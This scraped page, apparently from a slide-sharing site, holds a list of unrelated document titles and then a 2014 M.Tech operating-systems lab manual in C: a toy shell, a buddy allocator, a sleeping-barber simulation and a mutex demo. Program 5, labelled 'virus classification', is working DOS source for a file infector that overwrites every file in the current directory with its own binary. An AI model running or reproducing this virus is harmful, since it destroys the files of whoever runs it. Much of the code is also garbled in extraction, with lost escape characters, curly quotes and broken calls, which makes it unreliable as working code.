SOC 101 Demonstration of Learning PresentationSOC 101 Demonstration of Learning Presentation
SOC 101 Demonstration of Learning Presentation
 
Python Notes for mca i year students osmania university.docx
Python Notes for mca i year students osmania university.docxPython Notes for mca i year students osmania university.docx
Python Notes for mca i year students osmania university.docx
 
UGC NET Paper 1 Mathematical Reasoning & Aptitude.pdf
UGC NET Paper 1 Mathematical Reasoning & Aptitude.pdfUGC NET Paper 1 Mathematical Reasoning & Aptitude.pdf
UGC NET Paper 1 Mathematical Reasoning & Aptitude.pdf
 
Magic bus Group work1and 2 (Team 3).pptx
Magic bus Group work1and 2 (Team 3).pptxMagic bus Group work1and 2 (Team 3).pptx
Magic bus Group work1and 2 (Team 3).pptx
 
Understanding Accommodations and Modifications
Understanding  Accommodations and ModificationsUnderstanding  Accommodations and Modifications
Understanding Accommodations and Modifications
 
Holdier Curriculum Vitae (April 2024).pdf
Holdier Curriculum Vitae (April 2024).pdfHoldier Curriculum Vitae (April 2024).pdf
Holdier Curriculum Vitae (April 2024).pdf
 
Basic Civil Engineering first year Notes- Chapter 4 Building.pptx
Basic Civil Engineering first year Notes- Chapter 4 Building.pptxBasic Civil Engineering first year Notes- Chapter 4 Building.pptx
Basic Civil Engineering first year Notes- Chapter 4 Building.pptx
 
microwave assisted reaction. General introduction
microwave assisted reaction. General introductionmicrowave assisted reaction. General introduction
microwave assisted reaction. General introduction
 
ComPTIA Overview | Comptia Security+ Book SY0-701
ComPTIA Overview | Comptia Security+ Book SY0-701ComPTIA Overview | Comptia Security+ Book SY0-701
ComPTIA Overview | Comptia Security+ Book SY0-701
 
On National Teacher Day, meet the 2024-25 Kenan Fellows
On National Teacher Day, meet the 2024-25 Kenan FellowsOn National Teacher Day, meet the 2024-25 Kenan Fellows
On National Teacher Day, meet the 2024-25 Kenan Fellows
 
Accessible Digital Futures project (20/03/2024)
Accessible Digital Futures project (20/03/2024)Accessible Digital Futures project (20/03/2024)
Accessible Digital Futures project (20/03/2024)
 
Mixin Classes in Odoo 17 How to Extend Models Using Mixin Classes
Mixin Classes in Odoo 17  How to Extend Models Using Mixin ClassesMixin Classes in Odoo 17  How to Extend Models Using Mixin Classes
Mixin Classes in Odoo 17 How to Extend Models Using Mixin Classes
 
Food safety_Challenges food safety laboratories_.pdf
Food safety_Challenges food safety laboratories_.pdfFood safety_Challenges food safety laboratories_.pdf
Food safety_Challenges food safety laboratories_.pdf
 
Key note speaker Neum_Admir Softic_ENG.pdf
Key note speaker Neum_Admir Softic_ENG.pdfKey note speaker Neum_Admir Softic_ENG.pdf
Key note speaker Neum_Admir Softic_ENG.pdf
 
This PowerPoint helps students to consider the concept of infinity.
This PowerPoint helps students to consider the concept of infinity.This PowerPoint helps students to consider the concept of infinity.
This PowerPoint helps students to consider the concept of infinity.
 
1029-Danh muc Sach Giao Khoa khoi 6.pdf
1029-Danh muc Sach Giao Khoa khoi  6.pdf1029-Danh muc Sach Giao Khoa khoi  6.pdf
1029-Danh muc Sach Giao Khoa khoi 6.pdf
 
Unit-IV- Pharma. Marketing Channels.pptx
Unit-IV- Pharma. Marketing Channels.pptxUnit-IV- Pharma. Marketing Channels.pptx
Unit-IV- Pharma. Marketing Channels.pptx
 
Micro-Scholarship, What it is, How can it help me.pdf
Micro-Scholarship, What it is, How can it help me.pdfMicro-Scholarship, What it is, How can it help me.pdf
Micro-Scholarship, What it is, How can it help me.pdf
 
Unit-V; Pricing (Pharma Marketing Management).pptx
Unit-V; Pricing (Pharma Marketing Management).pptxUnit-V; Pricing (Pharma Marketing Management).pptx
Unit-V; Pricing (Pharma Marketing Management).pptx
 
Mehran University Newsletter Vol-X, Issue-I, 2024
Mehran University Newsletter Vol-X, Issue-I, 2024Mehran University Newsletter Vol-X, Issue-I, 2024
Mehran University Newsletter Vol-X, Issue-I, 2024
 

M.TECH 1ST SEM COMPUTER SCIENCE AOS LAB PRGMS 2014

  • 1. PROGRAM 1 Design and develop a shell that supports at least 20 commands #include<stdio.h> #include<sys/types.h> #include<unistd.h> #include<stdlib.h> void parse(char *cmd,char **arguvec) { while(*cmd!='0') { while(*cmd==' ' || *cmd=='t' || *cmd=='n') *cmd++='0'; *arguvec++=cmd; while(*cmd!='0' && *cmd!=' ' && *cmd!='t' && *cmd!='n') cmd++; } *arguvec++='0'; } void cmdexecute(char **arguvec) { pid_t pid; int status; pid=fork(); if(pid<0) {
  • 2. printf("error in creating forkn"); exit(0); } else if(pid==0) { if(execvp(*arguvec,arguvec)<0) { printf("error in calling executionn"); exit(0); } } else { while(wait(&status)!=pid); } } int main() { char cmd[1024]; char *arguvec[20]; while(1) { printf ("[MYSHELL]"); gets(cmd); parse (cmd,arguvec); if(strcmp(arguvec[0]),"exit"==0)
  • 3. { exit(0); } cmdexecute(arguvec); } return 0; } SAMPLE INPUT/OUTPUT [root@localhost ]$ vi myshell.c [students@localhost ]$ cc myshell.c [students@localhost ]$ ./a.out [MYSHELL] date Mon Dec 8 14:14:17 IST 2014 [MYSHELL]ls a.out p1.c p2.c myshell.c [MYSHELL]pwd /home/students [MYSHELL]ls -i 1192724 a.out 1192748 p1.c 1192767 p2.c [MYSHELL]ls -a . .. a.out p1.c p2.c [MYSHELL]echo citech citech [MYSHELL]cat hello.c #include<stdio.h> void main() { printf("HELLO WORLD"); }
  • 4. Program 2 Design and develop a program to implement lazy buddy algorithm #include<stdio.h> int tree[2050],i,j,k; void segmentalloc(int,int),makedivided(int),makefree(int),printing(int,int); int place(int),power(int,int); main() { int totsize,cho,req; printf("n B U D D Y S Y S T E M R E Q U I R E M E N T Sn"); printf("* Enter the Size of the memory :"); scanf("%d",&totsize); while(1) { printf("n B U D D Y S Y S T E M n"); printf("*****************************n"); printf("* 1) Locate the process into the Memoryn"); printf("* 2) Remove the process from Memoryn"); printf("* 3) Tree structure for Memory aloc tn Mapn"); printf("* 4) Exitn"); printf("* Enter your choice :"); scanf("%d",&cho); switch(cho) {
  • 5. case 1: printf("nM E M O R Y A L L O C A T I O Nn"); printf("************************************n"); printf("* Enter the Process size : "); scanf("%d",&req); segmentalloc(totsize,req); break; case 2: printf("n M E M O R Y D E A L L O C A T I ONn"); printf("n ******************n"); printf(" Enter the process size : n"); scanf("%d",&req); makefree(req); break; case 3: printf("n M E M O R Y A L L O C A T I O N M A Pn"); printf("*********************************************************n"); printing(totsize,0); break; default: return; } } }
  • 6. void segmentalloc(int totsize,int request) { int flevel=0,size; size=totsize; if(request>=totsize) { printf("%c R E S U L T : ",2); printf("* The system don't have enough free memoryn"); printf("* The system don't have enough free memoryn"); printf("* Suggession : Go for VIRTUAL MEMORYn"); return; } while(1) { if(request<size && request>=(size/2)) break; else { size/=2; flevel++; } } for(i=power(2,flevel)-1;i<=(power(2,flevel+1)-2);i++) if(tree[i]==0 && place(i)) {
  • 7. tree[i]=request; makedivided(i); printf("n Result : Successful Allocation n"); break; } if(i==power(2,flevel+1)-1) { printf("%c Result : "); printf("n* The system don't have enough free memoryn"); printf("* Suggession : Go for VIRTUAL Memory Moden"); } } void makedivided(int node) { while(node!=0) { node=node%2==0?(node-1)/2:node/2; tree[node]=1; } } int place(int node) { while(node!=0) { node=node%2==0?(node-1)/2:node/2;
  • 8. if(tree[node]>1) return 0; } return 1; } void makefree(int request) { int node=0; while(1) { if(tree[node]==request) break; else node++; } tree[node]=0; while(node!=0) { if(tree[node%2==0?node-1:node+1]==0 && tree[node]==0) { tree[node%2==0?(node-1)/2:node/2]=0; node=node%2==0?(node-1)/2:node/2; printf(" Result : SuccessfullDeallocationn"); } else break;
  • 9. } } int power(int x,int y) { int z,ans; if(y==0) return 1; ans=x; for(z=1;z<y;z++) ans*=x; return ans; } void printing(int totsize,int node) { int permission=0,llimit,ulimit,tab; if(node==0) permission=1; else if(node%2==0) permission=tree[(node-1)/2]==1?1:0; else permission=tree[node/2]==1?1:0; if(permission) { llimit=ulimit=tab=0; while(1) {
  • 10. if(node>=llimit&& node<=ulimit) break; else { tab++; printf(" "); llimit=ulimit+1; ulimit=2*ulimit+2; } } printf(" %d ",totsize/power(2,tab)); if(tree[node]>1) printf("---> Allocated %d",tree[node]); else if(tree[node]==1) printf("---> Divided"); else printf("---> Freen"); printing(totsize,2*node+1); printing(totsize,2*node+2); } } Program 2/ OUT PUT: [root@localhost ~]# cc pgm1.c [root@localhost ~]# ./a.out B U D D Y S Y S T E M R E Q U I R E M E N T S * Enter the Size of the memory : 1400 B U D D Y S Y S T E M *****************************
  • 11. * 1) Locate the process into the Memory * 2) Remove the process from Memory * 3) Tree structure for Memory allocation Map * 4) Exit * Enter your choice :1 M E M O R Y A L L O C A T I O N ************************************ * Enter the Process size : 600 Result : Successful Allocation B U D D Y S Y S T E M ***************************** * 1) Locate the process into the Memory * 2) Remove the process from Memory * 3) Tree structure for Memory allocation Map * 4) Exit * Enter your choice :3 M E M O R Y A L L O C A T I O N M A P ********************************************** 1400 ---> Divided 700 ---> Allocated 600 700 ---> Free B U D D Y S Y S T E M ***************************** * 1) Locate the process into the Memory * 2) Remove the process from Memory * 3) Tree structure for Memory allocation Map * 4) Exit Department Of Computer Science & Engineering BIT/CSE/AOS LAB Page 14 * Enter your choice :1 M E M O R Y A L L O C A T I O N ************************************ * Enter the Process size : 400 Result : Successful Allocation B U D D Y S Y S T E M *****************************
  • 12. * 1) Locate the process into the Memory * 2) Remove the process from Memory * 3) Tree structure for Memory allocation Map * 4) Exit * Enter your choice :3 M E M O R Y A L L O C A T I O N M A P ********************************************** 1400 ---> Divided 700 ---> Allocated 600 700 ---> Allocated 400 B U D D Y S Y S T E M ***************************** * 1) Locate the process into the Memory * 2) Remove the process from Memory * 3) Tree structure for Memory allocation Map * 4) Exit * Enter your choice :2 M E M O R Y D E A L L O C A T I O N ****************************************** * Enter the process size : 600 B U D D Y S Y S T E M ***************************** * 1) Locate the process into the Memory * 2) Remove the process from Memory * 3) Tree structure for Memory allocation Map * 4) Exit * Enter your choice :3 M E M O R Y A L L O C A T I O N M A P Department Of Computer Science & Engineering BIT/CSE/AOS LAB Page 15 ********************************************** 1400 ---> Divided 700 ---> Free 700 ---> Allocated 400 B U D D Y S Y S T E M ***************************** * 1) Locate the process into the Memory
  • 13. * 2) Remove the process from Memory * 3) Tree structure for Memory allocation Map * 4) Exit * Enter your choice :1 M E M O R Y A L L O C A T I O N ************************************ * Enter the Process size : 800 Result : * The system don't have enough free memory * Suggession : Go for VIRTUAL Memory Mode B U D D Y S Y S T E M ***************************** * 1) Locate the process into the Memory * 2) Remove the process from Memory * 3) Tree structure for Memory allocation Map * 4) Exit * Enter your choice :2 M E M O R Y D E A L L O C A T I O N ****************************************** * Enter the process size :400 Result :SuccessfullDeallocation B U D D Y S Y S T E M ***************************** * 1) Locate the process into the Memory * 2) Remove the process from Memory * 3) Tree structure for Memory allocation Map * 4) Exit * Enter your choice :3 Department Of Computer Science & Engineering BIT/CSE/AOS LAB Page 16 M E M O R Y A L L O C A T I O N M A P ********************************************** 1400 ---> Free B U D D Y S Y S T E M
  • 14. ***************************** * 1) Locate the process into the Memory * 2) Remove the process from Memory * 3) Tree structure for Memory allocation Map * 4) Exit * Enter your choice :
  • 15. Program 3 Write a multi-class multithreaded program that simulates multiple sleeping barbers, all in one barbershop that has a finite number of chairs in the waiting room. Each customer is instantiated from a single customer class; each barber is instantiated from a single Barber class. #include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<pthread.h> #include<semaphore.h> #define MAX_CHAIRS 4 #define CUT_TIME 1 #define NUM_BARB 2 #define MAX_CUST 6 int numberoffreeseats=MAX_CUST; int seatpocket[MAX_CUST]; sem_t customers; sem_t barbars; sem_t mutex; int servemenext=0; int sitherenext=0; int count=0; void barbarthread(void *tmp); void customerthread(void *tmp); void wait();
  • 16. int main() { pthread_t barbars[NUM_BARB],customers[MAX_CUST]; int i, status; sem_init(&customers,0,0); sem_init(&barbars,0,0); sem_init(&mutex,0,1); printf("barbar shop opensn"); for(i=0;i<NUM_BARB;i++) { status=pthread_create(&barbars[i],NULL,(void*)barbarthread,(void*)&i); sleep(1); if(status!=0) perror("no barbar presentn"); } for(i=0;i<MAX_CUST;i++) { status=pthread_create(&customers[i],NULL,(void*)customerthread,(void *)&i); wait(); if(status!=0) perror("no customers yetn"); } for(i=0;i<MAX_CUST;i++)
  • 17. pthread_join(customers[i],NULL); printf("barbar shop closesn"); exit(EXIT_SUCCESS); } void customerthread(void *tmp) { int myseat,b; sem_wait(&mutex); count++; printf("customer %d enterred shopn",count); if(numberoffreeseats>0) { --numberoffreeseats; printf("customer %d waits in the roomn",count); sitherenext=(++sitherenext)%MAX_CHAIRS; myseat=sitherenext; seatpocket[myseat]=count; sem_post(&mutex); sem_post(&barbars); sem_wait(&customers); sem_wait(&mutex); b=seatpocket[myseat]; numberoffreeseats++; sem_post(&mutex);
  • 18. } else { sem_post(&mutex); printf("customer %d finds the no seats and go backn",count); } pthread_exit(0); } void barbarthread(void *tmp) { int index=*(int *)(tmp); int mynext,c; printf("barbar %d joins shopn",index+1); while(1) { printf("barbar %d gone to sleepn",index+1); sem_wait(&barbars); sem_wait(&mutex); servemenext=(++servemenext)%MAX_CHAIRS; mynext=servemenext; c=seatpocket[mynext]; seatpocket[mynext]=pthread_self(); sem_post(&mutex); sem_post(&customers); printf("barbar %d wakes up andis cutting hair of customer %dn",index+1,c);
  • 19. sleep(CUT_TIME); printf("barbar %d finishesn",index+1); } } void wait() { int x=rand()%(250000-50000+1)+50000; srand(time(NULL)); usleep(x); } Sample Input/Output : !!Barber Shop Opens!! Barber-1 Joins Shop.Barber-1 Gone To Sleep. Barber-2 Joins Shop.Barber-2 Gone To Sleep. Customer-1 Entered Shop. Customer-1 Sits In Waiting Room. Barber-1 Wakes Up & Is Cutting Hair Of Customer-1. Customer-2 Entered Shop. Customer-2 Sits In Waiting Room. Barber-2 Wakes Up & Is Cutting Hair Of Customer-2. Customer-3 Entered Shop. Customer-3 Sits In Waiting Room. Customer-4 Entered Shop. Customer-4 Sits In Waiting Room. Customer-5 Entered Shop. Customer-5 Sits In Waiting Room. Barber-1 Finishes.Barber-1 Gone To Sleep. Barber-1 Wakes Up & Is Cutting Hair Of Customer-3. Barber-2 Finishes.Barber-2 Gone To Sleep. Barber-2 Wakes Up & Is Cutting Hair Of Customer-4. Barber-1 Finishes.Barber-1 Gone To Sleep. Barber-1 Wakes Up & Is Cutting Hair Of Customer-5. !!Barber Shop Closes!!
  • 20. PROGRAM 4 Use ECOS operating system to develop a program for controlling accessing to a pool of resources using mutexes and condition variables. #include <string.h> #include <pthread.h> #include <stdlib.h> #include <unistd.h> pthread_t tid[2]; int counter; pthread_mutex_t lock; void* processloop(void *arg) { pthread_mutex_lock(&lock); // lock code unsigned long i = 0; counter += 1; printf("n Job %d startedn", counter); for(i=0; i<1;i++) printf("n Job %d finishedn", counter); pthread_mutex_unlock(&lock); // unlock code return NULL; }
  • 21. int main(void) { int i = 0; int err; if (pthread_mutex_init(&lock, NULL) != 0) // create mutex lock { printf("n mutex init failedn"); return 1; } while(i < 2) { err = pthread_create(&(tid[i]), NULL, &processloop, NULL); if (err != 0) printf("ncan't create thread :[%s]", strerror(err)); i++; } pthread_join(tid[0], NULL); pthread_join(tid[1], NULL); pthread_mutex_destroy(&lock); return 0;
  • 22. Program 5 Design and develop a program to realize the virus classification, such as boot sector infector, file infector and macro virus. #include<stdio.h> #include<io.h> #include<dos.h> #include<dir.h> #include<conio.h> #include<time.h> FILE *virus,*host; Int done,a=0; unsigned long x; Char buff[2048]; struct ffblk ffblk; clock_t st,end; void main() { st=clock(); clrscr(); done=findfirst(“*.*”,&ffblk,0); while(!done) { virus=fopen(_argv[0],”rb”); host=fopen(ffblk.ff_name,”rb+”); if(host==NULL) goto next; x=89088; printf(“Infecting %sn”,ffblk.ff_name,a); while(x>2048) { fread(buff,2048,1,virus); fwrite(buff,2048,1,host); x-=2048; } fread(buff,x,1,virus); fwrite(buff,x,1,host); a++; next: { fcloseall();
  • 23. done=findnext(&ffblk); } } printf(“DONE! (Total Files Infected= %d)”,a); end=clock(); printf(“TIME TAKEN=%f SECn”, (end-st)); }